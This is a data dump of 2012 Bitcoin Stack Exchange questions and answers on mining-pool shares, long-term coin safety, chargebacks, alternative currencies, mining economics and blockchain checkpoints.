  <row Id="3096" PostTypeId="2" ParentId="3093" CreationDate="2012-03-07T08:28:50.087" Score="3" Body="&lt;p&gt;StrongCoin has developed a PHP script for fast handling of micro transactions. You can read more on it here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://strongcoin.com/blog/bitcoin_micropayments_with_strongcoin&quot; rel=&quot;nofollow&quot;&gt;https://strongcoin.com/blog/bitcoin_micropayments_with_strongcoin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.thebitcointrader.com/2011/12/monetizing-blog-with-bitcoin.html?m=1&quot; rel=&quot;nofollow&quot;&gt;http://www.thebitcointrader.com/2011/12/monetizing-blog-with-bitcoin.html?m=1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastEditorUserId="120" LastEditDate="2013-01-04T16:27:59.597" LastActivityDate="2013-01-04T16:27:59.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3097" PostTypeId="2" ParentId="3092" CreationDate="2012-03-07T10:15:01.640" Score="6" Body="&lt;p&gt;Bitcoins are stored in the blockchain. As long as at least one person holds a copy of it, all Bitcoins will remain in place no matter how many people are in the network or if new software is still being developed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the main client is open-source, even if it was discontinued anyone can pick it up and continue development on their own. Even if that was unavailable, the Bitcoin protocol is not too complicated, so one could create a new client from scratch if needed be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, the main client is pretty mature at this stage, so even if no further versions were developed, it could provide enough functionality for a long while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, as long as you store your own copy of the blockchain and a client, your money is completely safe, at least in regards to the amount of it you have. The value of the stored Bitcoins, however, can always drop or rise regardless of the state of the project, which is another factor to consider.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-03-08T02:39:58.107" LastActivityDate="2012-03-08T02:39:58.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3098" PostTypeId="2" ParentId="13" CreationDate="2012-03-07T10:46:42.217" Score="1" Body="&lt;p&gt;As one who has tackled the issue of transaction fees with the intent of lowering them I have to say that the way Bitcoin shifts all transaction costs to the buyers and sellers (separate currency, peer to peer, mining) is brilliant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As some of the comments have pointed out the real system resource use and cost Bitcoin incurs&#xA;needs to be rightly quantified in relation to alternatives. Where Bitcoin fails the alternative would need to be adapted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case Bitcoin has certainly set the stage for the future of &quot;money&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1141" LastEditorUserId="659" LastEditDate="2012-03-07T10:54:03.753" LastActivityDate="2012-03-07T10:54:03.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3100" PostTypeId="2" ParentId="2300" CreationDate="2012-03-07T12:19:05.483" Score="2" Body="&lt;p&gt;Not technically the answer to this question but a much more ideal solution for me was to switch over to an online wallet keeper altogether like at &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I've known about online wallets for a while (though not soon enough whence I still struggled to keep bitcoin &quot;clients&quot; being useful and playing nice with their host PCs, thinking it was the only way to control my BTC when I was new) it wasn't until recently that I figured out how to use their Import wallet feature and apply the buried old &lt;strong&gt;wallet.dat&lt;/strong&gt; files, which for me wasn't trivial:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pywallet.py -dumpwallet &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However to get that Python code to finally operate without cryptic errors on a fresh Ubuntu 11.10 Linux required some extra research and package dependencies troubleshooting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, thankfully, bitpennies that continue to arrive at my original BTC address (from the now purged software clients) eventually make it to my online wallet hosting a few BTC addresses, whose funds I could &lt;em&gt;freely&lt;/em&gt; transact from there if I want to.  No manual transferring from my old address, good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last I updated and tried launching again one of those clients it stalled and absolutely PEGGED the network trying to finish its per-design 2-3GB blockchain download before allowing me to do anything (else on the PC, let alone transactions) which didn't seem to be advancing anyway no matter how long I let it eat my PC or how many times I restarted.  Where of course that much disk space couldn't be spared, nor shared bandwidth, nor CPU &amp;amp; memory resources it took that PC.  3GB win7 AMDx64, mind you.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2012-03-07T12:19:05.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3101" PostTypeId="2" ParentId="3092" CreationDate="2012-03-07T12:34:56.913" Score="1" Body="&lt;p&gt;I agree with &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3095/807&quot;&gt;https://bitcoin.stackexchange.com/a/3095/807&lt;/a&gt; in that the biggest risk is in exchange rates with fiat currencies, rather than any &quot;the Bitcoin project is discontinued&quot; scenario.  Even since I began last year it's been way too volatile and have way too large bid/ask spreads on exchanges for me to rely on in any substantial values.  Not to mention on top of that, the percentage fees some party cuts almost every step of the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While one can't feasibly swap out every copy of the current blockchain in the world with your own copy, or with a blank copy (which would be like erasing everyone's balances), let's turn your question into: let's say by next century Bitcoin gets superceded by an entirely new and better government-free, decentralized currency, built on new standards and protocols obsoleting today's, that quickly becomes predominant.  People would gradually cease using BTC in favor of the new one, it seems.  Not sure if comparing legacy Eurozone currencies transitioning to the unified Euro is a good comparison.&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-03-07T12:46:10.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3102" PostTypeId="2" ParentId="3092" CreationDate="2012-03-07T13:47:59.270" Score="1" Body="&lt;p&gt;Bitcoin has a dependency in that its hashing power must remain decentralized (no single party or cartel controls the majority of hashing power).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the geographic distribution of this hashing power isn't easily identifiable, know that it will tend to gravitate towards where electricity is less expensive.  Here's where Bitcoin nodes exist today:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.weusecoins.com/globe&quot; rel=&quot;nofollow&quot;&gt;http://www.weusecoins.com/globe&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So even if those in one jurisdiction or region discontinue the use of bitcoin, it will likely still have utility elsewhere in the world.  When using a local wallet you are peering with these nodes, so there is no risk that those in a single geographic area would lose the ability to participate.  Even in a network environment that is relatively hostile to bitcoin there are measures that can be taken to maintain connectivity to the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But do keep in mind that the value of a bitcoin is entirely based on the price others are willing to pay for it.  That value can, technically, go to zero -- just like with any other commodity.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-07T13:47:59.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3103" PostTypeId="2" ParentId="3092" CreationDate="2012-03-07T13:58:06.230" Score="0" Body="&lt;p&gt;I think your question is about trust. You may rephrase the question asking if you should trust the Bitcoin network. Bitcoin is backed by the unique intrinsic and mysterious properties of mathematics instead of faith in human institutions. Technology will spawn to serve Bitcoin to make it stronger as we are already seeing with GPU, FPGA and ASIC processors.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2012-03-07T13:58:06.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3104" PostTypeId="2" ParentId="3092" CreationDate="2012-03-07T14:47:42.183" Score="4" Body="&lt;p&gt;I think you have several main risks/issues&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Local political risk. Some government decides that using bitcoin breaks some local law and makes your life hard. That is beyond the scope of this site I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) A collapse in the value of bitcoin. We have seen the price of a bitcoin go all over the place and while it is about $5/btc now it is very hard to predict what it will do tomorrow. It could be $20 or it could be $0.20. Now that does not mean that bitcoins have gone away, just that they have lost much of their value. At this point the total number of people using bitcoin is quite small and there is HUGE volatility in the market because of a general lack of liquidity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Converting Bitcoin to and from local currency. If your goal is to transfer money from one country to another you need a way to use currency 1 to buy bitcoin and then use bitcoin to buy currency 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The bitcoin market is not very efficient, which is to say that if you want to change say Jordanian Dinars to say South African Rand by way of bitcoin you may find that you end up with a lot less Rand at the end than had you done it some other way.&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2012-03-07T14:47:42.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3105" PostTypeId="1" CreationDate="2012-03-07T17:53:15.787" Score="3" ViewCount="4217" Body="&lt;p&gt;Does the size of a pool affect the number of invalid shares?  If so why does it?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-03-31T10:34:35.477" LastActivityDate="2016-03-31T10:34:35.477" Title="Does the size of a pool affect the number of invalid shares?" Tags="|mining-pools|mining-profitability|mining-pool-shares|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3106" PostTypeId="2" ParentId="3105" CreationDate="2012-03-08T02:44:55.663" Score="3" Body="&lt;p&gt;There's no reason pool size should affect the number of invalid shares. If you're seeing different amounts of invalid shares on different GPUs, the most likely explanation is that the GPU is too hot, improperly overclocked, or failing.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-03-08T02:44:55.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3107" PostTypeId="2" ParentId="3105" CreationDate="2012-03-08T03:13:05.223" Score="3" Body="&lt;p&gt;An invalid share might be a share you submitted with an error in calculations, or possibly a stale share, depending on the pool implementation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A possible reason for a rejection of a share might be that the pool doesn't use difficulty 1 as the target, while some miners might try submitting those shares&lt;/li&gt;&#xA;&lt;li&gt;There is also a possibility that your miner makes some mistakes while calculating hashes, but that is less likely&lt;/li&gt;&#xA;&lt;li&gt;The pool might be poorly implemented and make some mistakes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A reason for a stale share might be that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The pool does not use long polling, thus it doesn't inform the miners when to update their getwork&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All in all, you should ask other people whether they have the same problem for the given pool, and try mining using a different miner and a different computer and see if the problem persists.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-08T03:13:05.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3108" PostTypeId="2" ParentId="3105" CreationDate="2012-03-08T06:33:11.583" Score="3" Body="&lt;p&gt;Many things can affect your stale/reject rate. An overclocked or faulty GPU could be making miscalculations. The pool's long polling might not be working properly. Even network instability could cause rejects due to duplicate shares (the share was received by the server, but your miner got an error so it tries again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way pool size would affect rejects is that a large number of miners slow down long polling on the server side. Everything else being equal it takes longer for the server to notify 10 000 workers of a block change than it would 500 workers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in general you can expect lower stale rate on a small pool, unless the small pool effect is negated by really slow server hardware or some other factor.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-03-08T06:33:11.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3109" PostTypeId="1" AcceptedAnswerId="3120" CreationDate="2012-03-08T09:22:56.597" Score="5" ViewCount="348" Body="&lt;p&gt;I went ahead and wrote this semi-detailed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67843.0&quot;&gt;post about how to implement Chargebacks&lt;/a&gt;, when I hit my head and said &quot;Doh, maybe this can just be implemented more cleanly with Scripts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ... is there a way to use scripts to create a chargeback mechanism in Bitcoin? Has this been discussed before? (please provide links)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-03-05T12:25:14.480" Title="Can Scripts be used to implement Chargebacks?" Tags="|script|chargeback|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3110" PostTypeId="1" AcceptedAnswerId="3112" CreationDate="2012-03-08T09:41:19.193" Score="2" ViewCount="1443" Body="&lt;p&gt;Since Bitcoin network and Bitcoin currency are not so reliable and can't be controlled.&#xA;Also, they are open source. How difficult it is to use the current client and protocol to create a new, independent currency controlled by me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will use such currency as a medium for money transfer. Much like a website money or credit.&#xA;If I used the current Bitcoin as it is, I would be responsible for all Bitcoins in the world. I want to be responsible for the Bitcoins created by me only. So even if the project will end or the value of Bitcoins goes down, I can then compensate my clients for their loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What experience and knowledge needed to accomplish this?(Hardware and Software).&lt;/p&gt;&#xA;" OwnerUserId="1138" LastEditorUserId="323" LastEditDate="2012-03-09T05:09:14.787" LastActivityDate="2012-03-09T05:09:14.787" Title="Can I use current Bitcoin protocol and Bitcoin client to create my own controlled currency?" Tags="|client|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3111" PostTypeId="1" AcceptedAnswerId="3129" CreationDate="2012-03-08T09:49:17.017" Score="70" ViewCount="11343" Body="&lt;p&gt;One issue that I haven't seen clearly addressed is the possible &lt;a href=&quot;http://en.wikipedia.org/wiki/Tragedy_of_the_commons&quot; rel=&quot;noreferrer&quot;&gt;Tragedy of the Commons&lt;/a&gt; in Bitcoin's future (see &lt;a href=&quot;https://bitcoin.stackexchange.com/a/895/78&quot;&gt;this answer&lt;/a&gt;). 40 years into the future, the only significant direct benefit for honest miners is transaction fees, as the block reward is almost zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The potential problem here is Tragedy of the Commons - it is possible that while the entire network will benefit from miners, the financial incentive for any individual honest miner to mine will be too small, so fewer miners &quot;than necessary&quot; will mine, leaving the network open to 51% attacks. In this scenario, the Bitcoin network will fall pray to frequent attacks and will effectively disintegrate. Also consider extensions like &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/tagged/open-transactions?sort=votes&amp;amp;pagesize=15&quot;&gt;Open Transactions&lt;/a&gt;, that might make conducting transactions on the real Bitcoin network unnecessary for most users, who will flock to 2nd level networks and reduce the miner's rewards from TX fees even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Bitcoin is being designed and promoted as a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/88/is-bitcoin-future-proof&quot;&gt;Future Proof&lt;/a&gt; system, people have tried to analyse the system's economic behavior in this future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What analysis has been done on this problem? Is the problem likely to happen (speculative question, I know ... but back up your arguments)? If there is a likely problem in the current implementation, what are some possible way to adjust the protocol in the future to combat this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67900.msg791889#msg791889&quot; rel=&quot;noreferrer&quot;&gt;please see here&lt;/a&gt;, I described a possible scenario that leads to network insecurity because of this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt; - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67900.0;all&quot; rel=&quot;noreferrer&quot;&gt;linking to a recent thread&lt;/a&gt; I created on the forum about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 3&lt;/strong&gt; - &lt;a href=&quot;https://en.bitcoin.it/wiki/Tragedy_of_the_Commons&quot; rel=&quot;noreferrer&quot;&gt;Added a wiki entry&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2017-11-07T21:28:12.063" Title="Will Bitcoin suffer from a mining Tragedy of the Commons when mining fees drop to zero?" Tags="|economic-theory|mining-reward|reward-schedule|future-proof|" AnswerCount="11" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3112" PostTypeId="2" ParentId="3110" CreationDate="2012-03-08T11:43:26.167" Score="3" Body="&lt;p&gt;Bitcoin is a decentralised cryptocurrency, meaning there is no central authority to control it. What you need to look into are centralized currencies. If you want to go for the easiest route, all you need is knowledge of programming websites and databases and you can easily make some database storing arbitrary numbers representing an amount of your currency belonging to someone. This, however, would be like &lt;a href=&quot;http://www.facebook.com/help/credits&quot; rel=&quot;nofollow&quot;&gt;Facebook credits&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Microsoft_Points&quot; rel=&quot;nofollow&quot;&gt;Microsoft Points&lt;/a&gt; or the like, not really a cryptocurrency. You could look into centralised cryptocurrencies, like loom.cc . Also worth noting are &lt;a href=&quot;https://en.bitcoin.it/wiki/Open_Transactions&quot; rel=&quot;nofollow&quot;&gt;Open Transactions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could, however, create an alternative decentralised cryptocurrency, like SolidCoin, LiteCoin and dozen of others, but that doesn't create as much solutions as it causes problems. If you'd modify the source code you could make it so that only one address is allowed to create coins, but the whole system would be vulnerable to numerous attacks as your computing power might not be enough to secure the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it is not hard to create a centralised currency, but Bitcoin model might not be the best to use for this problem.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-08T11:43:26.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3113" PostTypeId="2" ParentId="3111" CreationDate="2012-03-08T13:30:00.650" Score="-4" Body="&lt;p&gt;Since you presume that a 51% attack would become beneficial, this will incentivize everyone to attempt a 51% attack. This is similar to an arms race, only the results of anyone doing this in 40 years would be financially cataclysmic. I suspect there will be supercomputers waiting in storage ready for anyone attempting a first strike with a strong retributive response. There will probably also be other forms of retributive attacks on the network leaving nothing off the table.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2012-03-08T13:30:00.650" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3114" PostTypeId="1" CreationDate="2012-03-08T14:51:49.913" Score="11" ViewCount="2166" Body="&lt;p&gt;Which blocks get to be checkpoints, and why is one block chosen to be a checkpoint, rather than another block? And where can I find a list of checkpoint blocks?&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="132" LastEditDate="2014-05-23T19:26:55.297" LastActivityDate="2017-10-08T22:37:17.043" Title="Which blocks get to be checkpoints?" Tags="|blockchain|security|attack|blockchain-fork|checkpoints|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3115" PostTypeId="2" ParentId="3114" CreationDate="2012-03-08T15:17:58.113" Score="5" Body="&lt;p&gt;You can find the list in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c091b99/src/chainparams.cpp#L150-L162&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin source code&lt;/a&gt;.&#xA;These are the current checkpoints (from git revision &lt;code&gt;c091b99&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    checkpointData = (CCheckpointData) {&#xA;        {&#xA;            { 11111, uint256S(&quot;0x0000000069e244f73d78e8fd29ba2fd2ed618bd6fa2ee92559f542fdb26e7c1d&quot;)},&#xA;            { 33333, uint256S(&quot;0x000000002dd5588a74784eaa7ab0507a18ad16a236e7b1ce69f00d7ddfb5d0a6&quot;)},&#xA;            { 74000, uint256S(&quot;0x0000000000573993a3c9e41ce34471c079dcf5f52a0e824a81e7f953b8661a20&quot;)},&#xA;            {105000, uint256S(&quot;0x00000000000291ce28027faea320c8d2b054b2e0fe44a773f3eefb151d6bdc97&quot;)},&#xA;            {134444, uint256S(&quot;0x00000000000005b12ffd4cd315cd34ffd4a594f430ac814c91184a0d42d2b0fe&quot;)},&#xA;            {168000, uint256S(&quot;0x000000000000099e61ea72015e79632f216fe6cb33d7899acb35b75c8303b763&quot;)},&#xA;            {193000, uint256S(&quot;0x000000000000059f452a5f7340de6682a977387c17010ff6e6c3bd83ca8b1317&quot;)},&#xA;            {210000, uint256S(&quot;0x000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e&quot;)},&#xA;            {216116, uint256S(&quot;0x00000000000001b4f4b433e81ee46494af945cf96014816a4e2370f11b23df4e&quot;)},&#xA;            {225430, uint256S(&quot;0x00000000000001c108384350f74090433e7fcf79a606b8e797f065b130575932&quot;)},&#xA;            {250000, uint256S(&quot;0x000000000000003887df1f29024b06fc2200b55f8af8f35453d7be294df2d214&quot;)},&#xA;            {279000, uint256S(&quot;0x0000000000000001ae8c72a0b0c301f67e3afca10e819efa9041e458e9bd7e40&quot;)},&#xA;            {295000, uint256S(&quot;0x00000000000000004d9b4ef50f0f9d686fd69db2e03af35a100370c64632a983&quot;)},&#xA;        }&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't really matter how they are chosen, but notice the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c091b99/src/chainparams.cpp#L65-L71&quot; rel=&quot;nofollow noreferrer&quot;&gt;following comments&lt;/a&gt; found in the source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * What makes a good checkpoint block?&#xA; * + Is surrounded by blocks with reasonable timestamps&#xA; *   (no blocks before with a timestamp after, none after with&#xA; *    timestamp before)&#xA; * + Contains no strange transactions&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, as long as they are inserted at regular intervals everything is fine. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1065/132&quot;&gt;This answer&lt;/a&gt; gives a hint at what is their purpose.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="38618" LastEditDate="2017-10-08T10:22:10.470" LastActivityDate="2017-10-08T10:22:10.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3116" PostTypeId="2" ParentId="3111" CreationDate="2012-03-08T15:54:22.283" Score="0" Body="&lt;p&gt;One way to counter such a problem might be a miner that would be forcing some fee from each transaction it puts in a block. When the reward for generating a block will be entirely gone, a miner might decide not to even start generating a block until some financial incentive appears. If most miners would follow the same reasoning, soon everyone would have an incentive to pay a fee to get their transactions into a block. If there wouldn't be sufficient coins to be earned, it might be more cost effective for a miner to &quot;sit it out&quot; and wait for the transactions to accumulate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This situation would decrease the difficulty as the average amount of computing power would decrease. It might also encourage miners to continue mining for their own version of a block after another miner has already solved it just to earn those coins. Both of those things would make it easier for a 51% attack, but by then everyone will know if Bitcoin is here to stay. If the market is the size it is today after such a long time, one might not care to go after or protect Bitcoin. If there is sufficient money to be had, there will be people mining it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, approach to mining probably will change by the time Bitcoin is scheduled to reach maturity and there will be new challenges to address, but there is also ample time to prepare for that.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-08T15:54:22.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3117" PostTypeId="2" ParentId="3111" CreationDate="2012-03-08T16:30:20.253" Score="1" Body="&lt;p&gt;The &quot;40 years&quot; time limit isn't relevant at all. Since the reward for mining gradually decreases, miners will have to adjust along the way much before that time; actually they'll have to adjust every time the reward halves, unless they are operating with profits so high they will still be gaining money after the drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since most of the miners are part of a mining pool, the tragedy of the commons can be easily avoided: the problem with the tragedy of the commons is that many individuals do not coordinate and can only act short-term instead of long-term. However a pool is a group of many individuals, hence it is much easier for a pool to decide to accept only transactions with a relevant fee.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-04-14T09:22:29.250" LastActivityDate="2013-04-14T09:22:29.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3118" PostTypeId="2" ParentId="3111" CreationDate="2012-03-08T17:20:02.127" Score="1" Body="&lt;p&gt;&lt;strong&gt;There is always an incentive to mine honestly&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present every block comes with a built-in financial reward through the creation of bitcoins. Over time, through scarcity and use, these bitcoins can be expected to go up in value. Therefore it is possible that the act of mining can be somewhat sustained purely by the value of the reward (shared out through an efficient pool) until that last bitcoin is mined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that is not guaranteed by any means so we have difficulty and transaction fees to act as safeguards. As miners shut down their loss-making equipment the difficulty reacts until it becomes profitable again. Remember, in the very early days bitcoins were almost valueless but people still mined effectively because of the very low difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most importantly, there is the transaction fee that which is the final, and most reliable, safeguard of all. This ensures that if a Bitcoin transaction is important enough to the client then they will pay that fee to get it mined - probably paying more for faster mining. This is especially true of second level operations (like OT) that will rely on Bitcoin for efficient reconciliation. There are only so many &quot;paper transactions&quot; that can occur before a margin call is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that Bitcoin is successful due to it's utility, it is reasonable to further conjecture that high value transactions will mix in with low value ones in a fair manner. Distributed mining pools will continue to share out the work and the subsequent fee reward based on contribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, the combination of these forces will always tilt the balance in favour of honest miners getting more reward than dishonest ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that end it seems unlikely that a Tragedy of the Commons (where individual gain is paid for by the group until a resource is used up) will apply. &lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-03-08T17:20:02.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3119" PostTypeId="2" ParentId="3110" CreationDate="2012-03-08T21:32:26.243" Score="1" Body="&lt;p&gt;There is nothing stopping you from compensating your clients for a loss in Bitcoin with Fiat money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you want to create your own centralized currency? Why?&#xA;What happen if you die? What stops you from printing endless amounts of it?&#xA;Why would someone use it and trust it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I give you 200.000 of my own private currency to compensate you for a loss in Bitcoin, its only valuable for you if you can get things or services for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network has more mining power than a couple of supercomputers combined which makes it very expensive to bring it down. You would need to invest millions of dollars and many weeks to get that kind of computing power.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastActivityDate="2012-03-08T21:32:26.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3120" PostTypeId="2" ParentId="3109" CreationDate="2012-03-09T06:59:59.550" Score="2" Body="&lt;p&gt;The discussion on Bitcoin Talk pretty much convinced me that &quot;elective Chargebacks&quot; (where some tx be reverrsed, but not all) is essentially meaningless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a shop would choose to give a customer the ability to do chargebacks for a limited time, this is equivalent to just postponing the payment. Since this is the main use case, and the other use case of chargebacks is personal wallet security, for which there are better alternatives, I'll accept this answer and consider the matter closed.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-03-09T06:59:59.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3121" PostTypeId="2" ParentId="3109" CreationDate="2012-03-09T09:40:07.527" Score="2" Body="&lt;p&gt;Partially, simply use a 2-3 Multi where one party holds two keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example an exchange wanted to sell bitcoins by credit card. They would send the use a M-Of-N escrow containing their public key but also the two of their own public keys. If the buyer then reversed the credit card transaction the exchange can then reclaim their coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the user will not be able to forward the transaction without the approval of the exchange and their would be few merchants who would accept the M-Of-N transaction.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-03-09T09:40:07.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3122" PostTypeId="1" CreationDate="2012-03-09T10:37:18.470" Score="3" ViewCount="388" Body="&lt;p&gt;I need to get some values to find how updated my bitcoind client is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like the GUI to tell me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If it is up to date.  If not, show blocks/total blocks&lt;/li&gt;&#xA;&lt;li&gt;How many blocks have been downloaded&lt;/li&gt;&#xA;&lt;li&gt;The time that the last received block was generated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are there commands available in the JSON API to get this information?  Or how else can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="659" LastEditDate="2012-03-10T02:03:10.030" LastActivityDate="2012-04-09T02:55:17.780" Title="Bitcoind statistics" Tags="|bitcoind|block|api|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
